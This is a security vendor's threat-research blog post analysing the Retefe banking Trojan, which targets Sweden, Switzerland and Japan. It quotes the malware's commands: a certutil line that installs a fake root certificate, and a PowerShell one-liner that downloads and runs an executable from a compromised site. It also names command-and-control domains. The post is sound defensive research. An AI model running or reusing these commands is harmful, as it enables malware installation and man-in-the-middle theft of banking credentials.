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Retefe Banking Trojan Targets Sweden, Switzerland and Japan ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 3 min read Related Products [![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Brandon Levene](https://unit42.paloaltonetworks.com/author/brandon-levene/) * [Bryan Lee](https://unit42.paloaltonetworks.com/author/bryanlee/) * [Ryan Olson](https://unit42.paloaltonetworks.com/author/ryan-olson/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:August 20, 2015 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/) * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Banking](https://unit42.paloaltonetworks.com/tag/banking/) * [PowerShell](https://unit42.paloaltonetworks.com/tag/powershell/) * [Retefe](https://unit42.paloaltonetworks.com/tag/retefe/) * [Smoke Loader](https://unit42.paloaltonetworks.com/tag/smoke-loader/) * [Trojan](https://unit42.paloaltonetworks.com/tag/trojan/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/retefe-banking-trojan-targets-sweden-switzerland-and-japan/?pdf=download&lg=en&_wpnonce=8eff5d0d06 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/retefe-banking-trojan-targets-sweden-switzerland-and-japan/?pdf=print&lg=en&_wpnonce=8eff5d0d06 "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Retefe%20Banking%20Trojan%20Targets%20Sweden,%20Switzerland%20and%20Japan&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fretefe-banking-trojan-targets-sweden-switzerland-and-japan%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fretefe-banking-trojan-targets-sweden-switzerland-and-japan%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fretefe-banking-trojan-targets-sweden-switzerland-and-japan%2F&title=Retefe%20Banking%20Trojan%20Targets%20Sweden,%20Switzerland%20and%20Japan "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fretefe-banking-trojan-targets-sweden-switzerland-and-japan%2F&text=Retefe%20Banking%20Trojan%20Targets%20Sweden,%20Switzerland%20and%20Japan "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fretefe-banking-trojan-targets-sweden-switzerland-and-japan%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Retefe%20Banking%20Trojan%20Targets%20Sweden,%20Switzerland%20and%20Japan%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fretefe-banking-trojan-targets-sweden-switzerland-and-japan%2F "Share in Mastodon") Retefe is one of the most targeted banking Trojans currently in the wild. While other families such as Zeus and Citadel are widely adopted by attackers targeting banking websites around the world, Retefe is consistently used to target victims in Sweden, Switzerland and Japan. In the last two weeks we have detected a surge of e-mails using [AutoFocus](https://www.paloaltonetworks.com/products/platforms/subscriptions/autofocus.html), each carrying the Retefe Trojan and targeting organizations in Western Europe and Japan. [![retefe1](http://blog.paloaltonetworks.com/wp-content/uploads/2015/08/retefe1-500x304.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/08/retefe1.png) Figure 1: AutoFocus map of recent Retefe Trojan recipients The attack e-mails are using a variety of "order" and "receipt" themes, each tailored to the country they are targeting and using dated file names to make them appear more relevant. The e-mails most often claim to be from a local electronics retailer. [![retefe2](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/08/retefe2.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/08/retefe2.png) Figure 2: Retefe sample delivered to Swedish target. On a global scale, Retefe is a rather small threat, but that appears to be by design. The malware hijacks connections to Swiss, Swedish and Japanese financial institutions to assist the attacker in committing fraud. The malware carried in the most recent campaigns also downloads and installs the Smoke Loader Trojan, which is a modular backdoor capable of stealing credentials and installing additional malware. ### Retefe Behavior Retefe is different from most banking Trojans, which typically attack web browser software to capture login credentials before they are encrypted with SSL and sent to the bank's web server. Instead, Retefe uses the Windows PowerShell to execute a series of commands that installs a new root certificate on the system and a proxy configuration to re-route the traffic to the targeted banking websites. The Retefe Trojan writes the root certificate to the disk and then uses the following command to install it on the sytem. *certutil -addstore -f -user ROOT ProgramData\\cert512121.der* Retefe has used many certificates in the past, but the latest one is a fake "thawte Inc." certificate. [![retefe3](http://blog.paloaltonetworks.com/wp-content/uploads/2015/08/retefe3-500x268.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/08/retefe3.png) Figure 3: Fake "thawte, Inc." Root Certificate installed by Retefe. After installing the certificate, Retefe makes a request to a server over HTTPS to retrieve JavaScript code that will reconfigure the system proxy for web browsing to route traffic for specific banking domains through a server controlled by the attacker. The proxy server performs a man-in-the-middle attack against the traffic, decrypting and possibly modifying the request before re-encrypting the data and passing it on to the bank. Retefe installs the new root certificate to prevent users from receiving a notification that the website they are contacting should not be trusted. The Retefe command and control server appears to only return this proxy configuration code if the infected host is located in Switzerland, Sweden or Japan. Retefe changes command and control servers frequently, but the most recent campaigns use domains that mimic the names of VPN services, including: * securevpnalarm.net * hsshvpn.net After installing the certificate and reconfiguring the system proxy, Retefe uses another PowerShell command to download an additional executable. In many cases we have identified this malware as a variant of [Smoke Loader](https://stopmalvertising.com/rootkits/analysis-of-smoke-loader.html), a modular backdoor Trojan capable of stealing credentials from the infected system. Retefe variants download additional malware from multiple URLs, but in most cases the server hosting the executable is a compromised website hosted in the country being targeted by the sample. Below is one example of the PowerShell script that initiates the download and executes it. *powershell.exe -Command (New-Object System.Net.WebClient).DownloadFile('http://www.schweizerhof-wetzikon\[.\]ch/images/rtucrtmirumctrutbitueriumxe/ivotyimoyctorieotcmir.exe' 'ProgramData\\Microsoft-KB512118.exe');(New-Object -com Shell.Application).ShellExecute('ProgramData\\Microsoft-KB512118.exe');* We suspect the actors behind Retefe began downloading Smoke Loader to help monetize infection of systems outside of their three targeted nations. ### Conclusion While Retefe's distribution is small on a global scale, its attacks are specifically targeted at online banking customers in just a few countries. The most recent campaign shows that Retefe may also threaten users in other countries as they begin using their infections to install additional malware. Palo Alto Networks [WildFire](https://www.paloaltonetworks.com/products/technologies/wildfire.html) identifies Retefe and Smoke Loader samples as malicious and [AutoFocus](https://www.paloaltonetworks.com/products/platforms/subscriptions/autofocus.html) users can identify these samples using the [SmokeLoader](https://autofocus.paloaltonetworks.com/#/tag/Commodity.SmokeLoader) and [Retefe](https://autofocus.paloaltonetworks.com/#/tag/Commodity.Retefe) tags. Back to top ### Tags * [Banking](https://unit42.paloaltonetworks.com/tag/banking/ "banking") * [PowerShell](https://unit42.paloaltonetworks.com/tag/powershell/ "PowerShell") * [Retefe](https://unit42.paloaltonetworks.com/tag/retefe/ "Retefe") * [Smoke Loader](https://unit42.paloaltonetworks.com/tag/smoke-loader/ "Smoke Loader") * [Trojan](https://unit42.paloaltonetworks.com/tag/trojan/ "Trojan") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: What's Next in Malware After Kuluoz?](https://unit42.paloaltonetworks.com/whats-next-in-malware-after-kuluoz/ "What’s Next in Malware After Kuluoz?") ### Related Articles * [Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "article - table of contents") * [Understanding Current Threats to Kubernetes Environments](https://unit42.paloaltonetworks.com/modern-kubernetes-threats/ "article - table of contents") * [Threat Brief: Widespread Impact of the Axios Supply Chain Attack](https://unit42.paloaltonetworks.com/axios-supply-chain-attack/ "article - table of contents") ## Related Resources ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. 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An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. 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